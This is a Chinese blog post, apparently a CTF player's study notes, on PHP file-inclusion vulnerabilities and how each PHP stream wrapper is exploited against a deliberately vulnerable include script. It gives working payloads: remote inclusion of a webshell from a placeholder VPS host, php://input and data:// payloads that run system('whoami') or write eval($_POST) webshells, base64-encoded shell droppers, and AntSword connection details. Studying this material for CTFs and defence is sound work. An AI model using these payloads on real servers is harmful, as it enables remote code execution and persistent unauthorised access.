文件包含与PHP伪协议

一、前言

原来做 ctf 端茶倒水选手的时候伪协议就只熟悉常用的几个,最近在网上浏览技术文章发现伪协议的有些用法我还不知道,现在就结合文件包含学习、总结、整理一下叭。

二、文件包含

2.1文件包含理解

  • 向上文件包含:先包含某个文件再写代码,目的是包含公用的代码文件,提高代码重用性
  • 向下文件包含:先写一些代码再包含某个文件,目的是在被包含的文件中使用已经产生的数据

2.2文件包含语言结构、函数

在 php 中有 require、include、require_once、include_once 四种方式包含代码文件,require 和 include 是语言结构,require_once 和 include_once 是函数,当利用这四个方式来包含文件时,无论文件是什么类型都会当作 php 文件进行解析。下表列一些我个人认为帮助理解的相同点与不同点,更详细可以查阅官方文档 https://www.php.net/manual/zh/function.include.php

语言结构/函数 位置 特点 包含失败
require 一般用于php脚本最前面 在一开始就加载,需要引用的文件只处理一次,实际上文件内容替换了require()语句,可能多次执行的代码中使用require()效率高 错误,代码无法继续执行
include php脚本任意位置 在用到时加载,需要引用的文件每次都要进行读取和评估,循环或条件语句引入文件时需要用include() 警告,代码可以继续执行
require_once 一般用于php脚本最前面 与require相同,并且如果文件曾经已经被包含过,不再包含(注:该函数根据前面有无引入相同路径的文件判断,而不是根据文件中的内容,即两个待引入的文件内容相同,使用该函数还是会引入两个) 错误,代码无法继续执行
include_once php脚本任意位置 与include相同,并且如果文件曾经已经被包含过,不再包含(注:该函数根据前面有无引入相同路径的文件判断,而不是根据文件中的内容,即两个待引入的文件内容相同,使用该函数还是会引入两个) 警告,代码可以继续执行

2.3文件包含漏洞

本地文件包含:打开并包含本地文件的,还会造成任意文件读取漏洞。这里就有很多姿势了,比如包含日志、包含 session、结合文件上传漏洞等等

远程文件包含:包含远程服务器上的文件并执行,需要 php.ini 中以下两个配置选项均为 on,但因为 php 5.2 后 allow_url_include 默认为 Off

allow_url_fopen = On    //默认为On
allow_url_include = On  //php5.2后默认为Off

即使两项配置都为 Off 也可以实现远程文件包含,在我写到这里的时候从 RFI巧用WebDAV绕过URL包含限制Getshell 学到了绕过配置的方式,大概原理是 allow_url_fopen 和 allow_url_include 仅限制了 http:// 和 ftp:// 协议,还可以利用 smb 协议(只能 windows 环境)和 webdav 协议绕过与包含,具体可以看看这篇文章,牛哇牛哇

三、PHP伪协议

php 支持的伪协议如下,官方文档 https://www.php.net/manual/zh/wrappers.php,记录一下不同伪协议的漏洞利用思路、getshell 方式

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

下面例子的测试代码均为

<?php
    $file = $_GET['a'];
    include $file;
?>

3.1file://

  • 访问本地文件系统
  • 不受 allow_url_fopen、allow_url_include 影响
  • php 涉及到文件以及协议的地方默认使用 file 协议,如果没有写出协议名或者协议不存在,都会被当成 file 协议来解析
  • 姿势:
?a=file://C:/Windows/win.ini

3.2http://、ftp://

  • 访问 HTTP(s) 网址/访问 FTP(s) URLs
  • allow_url_fopen = On、allow_url_include = On
  • 姿势(ftp:// 同理,替换协议即可):
?a=http://vps.vps.vps.vps/shell.txt
木马文件(shell.txt)内容:<?php @eval($_POST['apple']);?>
蚁剑连接地址:http://baji.baji.baji.baji/index.php?a=http://vps.vps.vps.vps/shell.txt
密码:apple

3.3php://

  • 访问各个输入/输出流(I/O streams)
  • 包括 php://stdin、php://stdout、php://stderr、php://input、php://output、php://filter、php://fd、php://memory、php://temp 九种

3.3.1php://input

  • 访问请求的原始数据的只读流,即直接读取POST上没有经过解析的原始数据,enctype="multipart/form-data" 的时候 php://input 是无效的
  • allow_url_include = On、不受 allow_url_fopen 影响
  • 姿势:
?a=php://input

命令执行: POST: <?php system('whoami'); ?>
GetShell: POST: <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST['apple'])?>');?>

3.3.2php://filter

  • 数据流打开时的筛选过滤应用,读取本地源代码
  • 不受 allow_url_fopen、allow_url_include 影响
  • 姿势:
读源码:
?a=php://filter/read=convert.base64-encode/resource=index.php("read="可以省略)
//将php文件通过base64编码读出,若不加read=convert.base64-encode,则会将其中内容当做php代码执行

GetShell(shell.txt需在目标服务器上):
木马文件(shell.txt)内容:<?php @eval($_POST['apple']);?>
蚁剑连接地址:http://baji.baji.baji.baji/index.php?a=php://filter/resource=./shell.txt
密码:apple

3.4zip://

  • 压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码执行
  • 不受 allow_url_fopen、allow_url_include 影响
  • 姿势:
?a=zip://D:/phpStudy/WWW/file.zip%23code.txt
格式:
zip://[压缩包绝对路径]#[压缩包内的子文件名]
注:
文件路径必须为绝对路径;zip文件后缀名可以改为其他如图片后缀;#进行url编码为%23

3.5zlib://、bzip2://

  • 压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码执行
  • 不受 allow_url_fopen、allow_url_include 影响
  • 姿势:
?a=compress.zlib://file.zip
注:
文件路径无绝对路径限制;zlib://协议文件压缩为zip或gz都可以,bzip2://协议文件压缩为bz2;后缀名也可以改为其他如图片后缀

3.6data://

  • 数据流
  • allow_url_fopen = On、allow_url_include = On
  • 姿势:
命令执行:
?a=data:text/plain,<?php system('whoami');?>
?a=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
GetShell:
?a=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIkpUTkRKVE5HY0dod0pUSXdRR1YyWVd3bE1qZ2xNalJmVUU5VFZDVTFRaVV5TjJGd2NHeGxKVEkzSlRWRUpUSTVKVE5DSlROR0pUTkYiKSk7Pz4=

3.7glob://

  • 查找匹配的文件路径模式,与其他函数配合绕过 open_basedir 限制,但是只可以读文件名不可以读文件内容
  • 不受 allow_url_fopen、allow_url_include 影响
  • 姿势:参考这篇文章 https://xz.aliyun.com/t/10070#toc-4

3.8phar://

  • PHP归档
  • 不受 allow_url_fopen、allow_url_include 影响
  • 姿势(phar 还有反序列化操作,这里就先只记录文件包含相关):
?a=phar://test.zip/test.php
注:文件路径为绝对路径限制;压缩包内子文件为php文件如test.php压缩为test.zip;后缀名也可以改为其他如图片后缀

四、总结

ssh://、rar://、ogg://、expect:// 协议暂时没有和文件包含的关联就没在这里记录了,关于文件包含和伪协议知识的总结还是有新收获的,查找资料的过程中又掌握了一些之前忽略的知识点。

参考文章:

https://www.jianshu.com/p/73a070c9c058

https://cloud.tencent.com/developer/article/1723748

https://xz.aliyun.com/t/5535

https://www.anquanke.com/post/id/248627

https://www.mi1k7ea.com/2019/01/31/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE/

原文地址:https://www.cnblogs.com/wkzb/p/15628219.html